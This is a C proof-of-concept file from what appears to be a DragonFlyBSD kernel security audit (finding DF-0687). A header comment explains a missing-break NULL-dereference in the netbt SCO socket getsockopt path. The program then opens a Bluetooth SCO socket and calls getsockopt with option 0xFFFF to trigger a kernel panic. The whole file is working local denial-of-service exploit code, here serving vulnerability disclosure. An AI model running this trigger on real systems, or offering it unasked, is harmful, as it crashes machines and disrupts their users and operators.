DragonFlyBSD Kernel Audit
DF-0687 / trigger.c
← back to finding ↓ download raw
/*
 * DF-0687 trigger: sco_socket.c PRCO_GETOPT missing-break NULL-deref panic.
 *
 * Mechanism (sys/netbt/sco_socket.c:109-121):
 *   case PRCO_GETOPT:
 *       m = m_get(M_WAITOK, MT_DATA);                       // :111
 *       m->m_len = sco_getopt(pcb, sopt_name, mtod(m, uint8_t *)); // :112 -> 0
 *       if (m->m_len == 0) {
 *           m_freem(m); m = NULL; err = ENOPROTOOPT;        // :113-117 NO break
 *       }
 *       sopt_from_kbuf(sopt, mtod(m, void *), m->m_len);   // :120 mtod(NULL) => panic
 *
 * Trigger A (unknown option): getsockopt(fd, BTPROTO_SCO, 0xFFFF, ...) -
 *   sco_getopt default returns 0.
 * Trigger B (unconnected socket, SO_SCO_HANDLE): sco_getopt returns 0 when
 *   sp_link is NULL.
 *
 * 100% reliable local kernel panic when netbt.ko is loaded. No BT hardware.
 * Mechanically identical to DF-0680 (rfcomm) and DF-0682 (l2cap).
 * Maintainer-acknowledged leak in source comment :119 "XXX There are possible
 * memory leaks (Griffin)".
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define AF_BLUETOOTH    33
#define BTPROTO_SCO     4
#define SO_SCO_HANDLE   2

int main(void) {
    int fd, rc;
    socklen_t len;
    char buf[64];

    printf("[*] DF-0687: SCO PRCO_GETOPT missing-break panic trigger\n");
    printf("[*] opening AF_BLUETOOTH/SOCK_SEQPACKET/BTPROTO_SCO socket\n");

    fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO);
    if (fd < 0) {
        printf("[!] socket() failed: %s (errno=%d)\n", strerror(errno), errno);
        if (errno == EPROTONOSUPPORT || errno == EPROTOTYPE || errno == EPFNOSUPPORT)
            printf("[!] netbt.ko not loaded? load with: kldload netbt.ko\n");
        return 2;
    }
    printf("[+] socket fd=%d allocated\n", fd);

    printf("[*] getsockopt(fd, BTPROTO_SCO, 0xFFFF=unknown, ...) -> expect kernel panic\n");
    fflush(stdout);

    len = sizeof(buf);
    memset(buf, 0, sizeof(buf));
    rc = getsockopt(fd, BTPROTO_SCO, 0xFFFF, buf, &len);
    printf("[!] getsockopt returned %d (errno=%d %s) -- NO PANIC\n",
           rc, errno, strerror(errno));

    close(fd);
    return 0;
}